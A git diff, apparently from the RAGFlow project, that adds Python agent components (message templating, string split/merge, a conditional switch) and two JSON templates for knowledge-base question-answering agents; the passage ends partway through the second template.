in cache: + yield cache[exp] + all_content += cache[exp] + continue + + v = self._canvas.get_variable_value(exp) + if not v: + v = "" + if isinstance(v, partial): + cnt = "" + for t in v(): + all_content += t + cnt += t + yield t + + continue + elif not isinstance(v, str): + try: + v = json.dumps(v, ensure_ascii=False, indent=2) + except Exception: + v = str(v) + yield v + all_content += v + cache[exp] = v + + if s < len(rand_cnt): + all_content += rand_cnt[s: ] + yield rand_cnt[s: ] + + self.set_output("content", all_content) + + def _is_jinjia2(self, content:str) -> bool: + patt = [ + r"\{%.*%\}", "{{", "}}" + ] + return any([re.search(p, content) for p in patt]) + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))) + def _invoke(self, **kwargs): + rand_cnt = random.choice(self._param.content) + if self._param.stream and not self._is_jinjia2(rand_cnt): + self.set_output("content", partial(self._stream, rand_cnt)) + return + + rand_cnt, kwargs = self.get_kwargs(rand_cnt, kwargs) + template = Jinja2Template(rand_cnt) + try: + content = template.render(kwargs) + except Exception: + pass + + for n, v in kwargs.items(): + content = re.sub(n, v, content) + + self.set_output("content", content) + + def thoughts(self) -> str: + return "" diff --git a/agent/component/string_transform.py b/agent/component/string_transform.py new file mode 100644 index 0000000..fe812c0 --- /dev/null +++ b/agent/component/string_transform.py @@ -0,0 +1,100 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import os +import re +from abc import ABC +from jinja2 import Template as Jinja2Template +from agent.component.base import ComponentParamBase +from api.utils.api_utils import timeout +from .message import Message + + +class StringTransformParam(ComponentParamBase): + """ + Define the code sandbox component parameters. + """ + + def __init__(self): + super().__init__() + self.method = "split" + self.script = "" + self.split_ref = "" + self.delimiters = [","] + self.outputs = {"result": {"value": "", "type": "string"}} + + def check(self): + self.check_valid_value(self.method, "Support method", ["split", "merge"]) + self.check_empty(self.delimiters, "delimiters") + + +class StringTransform(Message, ABC): + component_name = "StringTransform" + + def get_input_form(self) -> dict[str, dict]: + if self._param.method == "split": + return { + "line": { + "name": "String", + "type": "line" + } + } + return {k: { + "name": o["name"], + "type": "line" + } for k, o in self.get_input_elements_from_text(self._param.script).items()} + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))) + def _invoke(self, **kwargs): + if self._param.method == "split": + self._split(kwargs.get("line")) + else: + self._merge(kwargs) + + def _split(self, line:str|None = None): + var = self._canvas.get_variable_value(self._param.split_ref) if not line else line + if not var: + var = "" + assert isinstance(var, str), "The input variable is not a string: {}".format(type(var)) + self.set_input_value(self._param.split_ref, var) + res = [] + for i,s in enumerate(re.split(r"(%s)"%("|".join([re.escape(d) for d in self._param.delimiters])), var, flags=re.DOTALL)): + if i % 2 == 1: + continue + res.append(s) + self.set_output("result", res) + + def _merge(self, kwargs:dict[str, str] = {}): + script = self._param.script + script, kwargs = self.get_kwargs(script, kwargs, self._param.delimiters[0]) + + if self._is_jinjia2(script): + template = Jinja2Template(script) + try: + script = template.render(kwargs) + except Exception: + pass + + for k,v in kwargs.items(): + if not v: + v = "" + script = re.sub(k, lambda match: v, script) + + self.set_output("result", script) + + def thoughts(self) -> str: + return f"It's {self._param.method}ing." + + diff --git a/agent/component/switch.py b/agent/component/switch.py new file mode 100644 index 0000000..8cbbde6 --- /dev/null +++ b/agent/component/switch.py @@ -0,0 +1,131 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import numbers +import os +from abc import ABC +from typing import Any + +from agent.component.base import ComponentBase, ComponentParamBase +from api.utils.api_utils import timeout + + +class SwitchParam(ComponentParamBase): + """ + Define the Switch component parameters. + """ + + def __init__(self): + super().__init__() + """ + { + "logical_operator" : "and | or" + "items" : [ + {"cpn_id": "categorize:0", "operator": "contains", "value": ""}, + {"cpn_id": "categorize:0", "operator": "contains", "value": ""},...], + "to": "" + } + """ + self.conditions = [] + self.end_cpn_ids = [] + self.operators = ['contains', 'not contains', 'start with', 'end with', 'empty', 'not empty', '=', '≠', '>', + '<', '≥', '≤'] + + def check(self): + self.check_empty(self.conditions, "[Switch] conditions") + for cond in self.conditions: + if not cond["to"]: + raise ValueError("[Switch] 'To' can not be empty!") + self.check_empty(self.end_cpn_ids, "[Switch] the ELSE/Other destination can not be empty.") + + def get_input_form(self) -> dict[str, dict]: + return { + "urls": { + "name": "URLs", + "type": "line" + } + } + +class Switch(ComponentBase, ABC): + component_name = "Switch" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 3))) + def _invoke(self, **kwargs): + for cond in self._param.conditions: + res = [] + for item in cond["items"]: + if not item["cpn_id"]: + continue + cpn_v = self._canvas.get_variable_value(item["cpn_id"]) + self.set_input_value(item["cpn_id"], cpn_v) + operatee = item.get("value", "") + if isinstance(cpn_v, numbers.Number): + operatee = float(operatee) + res.append(self.process_operator(cpn_v, item["operator"], operatee)) + if cond["logical_operator"] != "and" and any(res): + self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in cond["to"]]) + self.set_output("_next", cond["to"]) + return + + if all(res): + self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in cond["to"]]) + self.set_output("_next", cond["to"]) + return + + self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in self._param.end_cpn_ids]) + self.set_output("_next", self._param.end_cpn_ids) + + def process_operator(self, input: Any, operator: str, value: Any) -> bool: + if operator == "contains": + return True if value.lower() in input.lower() else False + elif operator == "not contains": + return True if value.lower() not in input.lower() else False + elif operator == "start with": + return True if input.lower().startswith(value.lower()) else False + elif operator == "end with": + return True if input.lower().endswith(value.lower()) else False + elif operator == "empty": + return True if not input else False + elif operator == "not empty": + return True if input else False + elif operator == "=": + return True if input == value else False + elif operator == "≠": + return True if input != value else False + elif operator == ">": + try: + return True if float(input) > float(value) else False + except Exception: + return True if input > value else False + elif operator == "<": + try: + return True if float(input) < float(value) else False + except Exception: + return True if input < value else False + elif operator == "≥": + try: + return True if float(input) >= float(value) else False + except Exception: + return True if input >= value else False + elif operator == "≤": + try: + return True if float(input) <= float(value) else False + except Exception: + return True if input <= value else False + + raise ValueError('Not supported operator' + operator) + + def thoughts(self) -> str: + return "I’m weighing a few options and will pick the next step shortly." \ No newline at end of file diff --git a/agent/settings.py b/agent/settings.py new file mode 100644 index 0000000..932cb1d --- /dev/null +++ b/agent/settings.py @@ -0,0 +1,18 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +FLOAT_ZERO = 1e-8 +PARAM_MAXDEPTH = 5 diff --git a/agent/templates/choose_your_knowledge_base_agent.json b/agent/templates/choose_your_knowledge_base_agent.json new file mode 100644 index 0000000..e55cd82 --- /dev/null +++ b/agent/templates/choose_your_knowledge_base_agent.json @@ -0,0 +1,421 @@ +{ + "id": 19, + "title": { + "en": "Choose Your Knowledge Base Agent", + "zh": "选择知识库智能体"}, + "description": { + "en": "Select your desired knowledge base from the dropdown menu. The Agent will only retrieve from the selected knowledge base and use this content to generate responses.", + "zh": "从下拉菜单中选择知识库，智能体将仅根据所选知识库内容生成回答。"}, + "canvas_type": "Agent", + "dsl": { + "components": { + "Agent:BraveParksJoke": { + "downstream": [ + "Message:HotMelonsObey" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "#Role\nYou are a **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n\n# Core Principles\n1. **Rapid Output**\nRetrieve and answer questions directly from the knowledge base using the retrieval tool. Immediately return results upon successful retrieval without additional reflection rounds. Prioritize rapid output even before reaching maximum iteration limits.\n2. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n3. **No Content Creation**: Never generate, infer, or create information that is not explicitly present in the retrieved documents.\n4. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n5. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n# Response Guidelines\n## When Information is Available\n- Provide direct answers based on retrieved content\n- Quote relevant sections when helpful\n- Cite the source document/section if available\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n## When Information is Unavailable\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n- Do NOT attempt to fill gaps with general knowledge\n- Suggest alternative questions that might be covered in the docs\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n# Response Format\n```markdown\n## Answer\n[Your response based strictly on knowledge base content]\n**Always do these:**\n- Use the Retrieval tool for every question\n- Be transparent about information availability\n- Stick to documented facts only\n- Acknowledge knowledge base limitations", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Retrieval", + "name": "Retrieval", + "params": { + "cross_languages": [], + "description": "Retrieve from the knowledge bases.", + "empty_response": "", + "kb_ids": [ + "begin@knowledge base" + ], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + } + ], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "begin" + ] + }, + "Message:HotMelonsObey": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:BraveParksJoke@content}" + ] + } + }, + "upstream": [ + "Agent:BraveParksJoke" + ] + }, + "begin": { + "downstream": [ + "Agent:BraveParksJoke" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": { + "knowledge base": { + "name": "knowledge base", + "optional": false, + "options": [ + "knowledge base 1", + "knowledge base 2", + "knowledge base 3" + ], + "type": "options" + } + }, + "mode": "conversational", + "prologue": "Hi! I'm your retrieval assistant. What do you want to ask?" + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Agent:BraveParksJokeend", + "selected": false, + "source": "begin", + "sourceHandle": "start", + "target": "Agent:BraveParksJoke", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:BraveParksJoketool-Tool:TangyWolvesDreamend", + "source": "Agent:BraveParksJoke", + "sourceHandle": "tool", + "target": "Tool:TangyWolvesDream", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:BraveParksJokestart-Message:HotMelonsObeyend", + "source": "Agent:BraveParksJoke", + "sourceHandle": "start", + "target": "Message:HotMelonsObey", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": { + "knowledge base": { + "name": "knowledge base", + "optional": false, + "options": [ + "knowledge base 1", + "knowledge base 2", + "knowledge base 3" + ], + "type": "options" + } + }, + "mode": "conversational", + "prologue": "Hi! I'm your retrieval assistant. What do you want to ask?" + }, + "label": "Begin", + "name": "begin" + }, + "dragging": false, + "id": "begin", + "measured": { + "height": 76, + "width": 200 + }, + "position": { + "x": 174.93384234796846, + "y": -272.9638317458806 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "#Role\nYou are a **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n\n# Core Principles\n1. **Rapid Output**\nRetrieve and answer questions directly from the knowledge base using the retrieval tool. Immediately return results upon successful retrieval without additional reflection rounds. Prioritize rapid output even before reaching maximum iteration limits.\n2. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n3. **No Content Creation**: Never generate, infer, or create information that is not explicitly present in the retrieved documents.\n4. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n5. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n# Response Guidelines\n## When Information is Available\n- Provide direct answers based on retrieved content\n- Quote relevant sections when helpful\n- Cite the source document/section if available\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n## When Information is Unavailable\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n- Do NOT attempt to fill gaps with general knowledge\n- Suggest alternative questions that might be covered in the docs\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n# Response Format\n```markdown\n## Answer\n[Your response based strictly on knowledge base content]\n**Always do these:**\n- Use the Retrieval tool for every question\n- Be transparent about information availability\n- Stick to documented facts only\n- Acknowledge knowledge base limitations", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Retrieval", + "name": "Retrieval", + "params": { + "cross_languages": [], + "description": "Retrieve from the knowledge bases.", + "empty_response": "", + "kb_ids": [ + "begin@knowledge base" + ], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + } + ], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Agent" + }, + "dragging": false, + "id": "Agent:BraveParksJoke", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 699.8147585743118, + "y": -512.1229013834202 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "description": "This is an agent for a specific task.", + "user_prompt": "This is the order you need to send to the agent." + }, + "label": "Tool", + "name": "flow.tool_0" + }, + "id": "Tool:TangyWolvesDream", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 617.8147585743118, + "y": -372.1229013834202 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "toolNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:BraveParksJoke@content}" + ] + }, + "label": "Message", + "name": "Message" + }, + "id": "Message:HotMelonsObey", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 999.8147585743118, + "y": -512.1229013834202 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "text": "Configure the dropdown menu with your knowledge bases for retrieval." + }, + "label": "Note", + "name": "Note: Begin" + }, + "dragHandle": ".note-drag-handle", + "id": "Note:CurlyGoatsRun", + "measured": { + "height": 136, + "width": 250 + }, + "position": { + "x": 240, + "y": -135 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode" + }, + { + "data": { + "form": { + "text": "The Agent will only retrieve from the selected knowledge base and use this content to generate responses.\n\nThe Agent prioritizes rapid response per system prompt configuration. Adjust reflection rounds by modifying the system prompt or via Agent > Advanced Settings > Max Rounds." + }, + "label": "Note", + "name": "Note: Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 186, + "id": "Note:GentleShowersAct", + "measured": { + "height": 186, + "width": 456 + }, + "position": { + "x": 759.6166714488969, + "y": -303.3174949046285 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 456 + }, + { + "data": { + "form": { + "text": "Select your desired knowledge base from the dropdown menu. \nThe Agent will only retrieve from the selected knowledge base and use this content to generate responses." + }, + "label": "Note", + "name": "Workflow overall description" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 169, + "id": "Note:FineCandlesDig", + "measured": { + "height": 169, + "width": 357 + }, + "position": { + "x": 177.69466666666665, + "y": -531.9333333333334 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 357 + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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" +} + diff --git a/agent/templates/choose_your_knowledge_base_workflow.json b/agent/templates/choose_your_knowledge_base_workflow.json new file mode 100644 index 0000000..0a5b8d8 --- /dev/null +++ b/agent/templates/choose_your_knowledge_base_workflow.json @@ -0,0 +1,439 @@ +{ + "id": 18, + "title": { + "en": "Choose Your Knowledge Base Workflow", + "zh": "选择知识库工作流"}, + "description": { + "en": "Select your desired knowledge base from the dropdown menu. The retrieval assistant will only use data from your selected knowledge base to generate responses.", + "zh": "从下拉菜单中选择知识库，工作流将仅根据所选知识库内容生成回答。"}, + "canvas_type": "Other", + "dsl": { + "components": { + "Agent:ProudDingosShout": { + "downstream": [ + "Message:DarkRavensType" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query: {sys.query}\n\nRetrieval content: {Retrieval:RudeCyclesKneel@formalized_content}", + "role": "user" + } + ], + "sys_prompt": "# Role\nYou are the **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n# Core Principles\n1. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n2. **No Content Creation**: Never generate, infer, or create information that is not explicitly present in the retrieved documents.\n3. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n4. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n# Response Guidelines\n## When Information is Available\n- Provide direct answers based on retrieved content\n- Quote relevant sections when helpful\n- Cite the source document/section if available\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n## When Information is Unavailable\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n- Do NOT attempt to fill gaps with general knowledge\n- Suggest alternative questions that might be covered in the docs\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n# Response Format\n```markdown\n## Answer\n[Your response based strictly on knowledge base content]\n**Always do these:**\n- Use the Retrieval tool for every question\n- Be transparent about information availability\n- Stick to documented facts only\n- Acknowledge knowledge base limitations", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Retrieval:RudeCyclesKneel" + ] + }, + "Message:DarkRavensType": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:ProudDingosShout@content}" + ] + } + }, + "upstream": [ + "Agent:ProudDingosShout" + ] + }, + "Retrieval:RudeCyclesKneel": { + "downstream": [ + "Agent:ProudDingosShout" + ], + "obj": { + "component_name": "Retrieval", + "params": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [ + "begin@knowledge base" + ], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "sys.query", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + }, + "upstream": [ + "begin" + ] + }, + "begin": { + "downstream": [ + "Retrieval:RudeCyclesKneel" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": { + "knowledge base": { + "name": "knowledge base", + "optional": false, + "options": [ + "knowledge base 1", + "knowledge base 2", + "knowledge base 3" + ], + "type": "options" + } + }, + "mode": "conversational", + "prologue": "Hi! I'm your retrieval assistant. What do you want to ask?" + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Retrieval:RudeCyclesKneelend", + "source": "begin", + "sourceHandle": "start", + "target": "Retrieval:RudeCyclesKneel", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Retrieval:RudeCyclesKneelstart-Agent:ProudDingosShoutend", + "source": "Retrieval:RudeCyclesKneel", + "sourceHandle": "start", + "target": "Agent:ProudDingosShout", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:ProudDingosShoutstart-Message:DarkRavensTypeend", + "source": "Agent:ProudDingosShout", + "sourceHandle": "start", + "target": "Message:DarkRavensType", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": { + "knowledge base": { + "name": "knowledge base", + "optional": false, + "options": [ + "knowledge base 1", + "knowledge base 2", + "knowledge base 3" + ], + "type": "options" + } + }, + "mode": "conversational", + "prologue": "Hi! I'm your retrieval assistant. What do you want to ask?" + }, + "label": "Begin", + "name": "begin" + }, + "id": "begin", + "measured": { + "height": 76, + "width": 200 + }, + "position": { + "x": 50, + "y": 200 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [ + "begin@knowledge base" + ], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "sys.query", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + }, + "label": "Retrieval", + "name": "Retrieval" + }, + "dragging": false, + "id": "Retrieval:RudeCyclesKneel", + "measured": { + "height": 96, + "width": 200 + }, + "position": { + "x": 368.9985951155415, + "y": 188.91748618260078 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "retrievalNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query: {sys.query}\n\nRetrieval content: {Retrieval:RudeCyclesKneel@formalized_content}", + "role": "user" + } + ], + "sys_prompt": "# Role\nYou are the **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n# Core Principles\n1. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n2. **No Content Creation**: Never generate, infer, or create information that is not 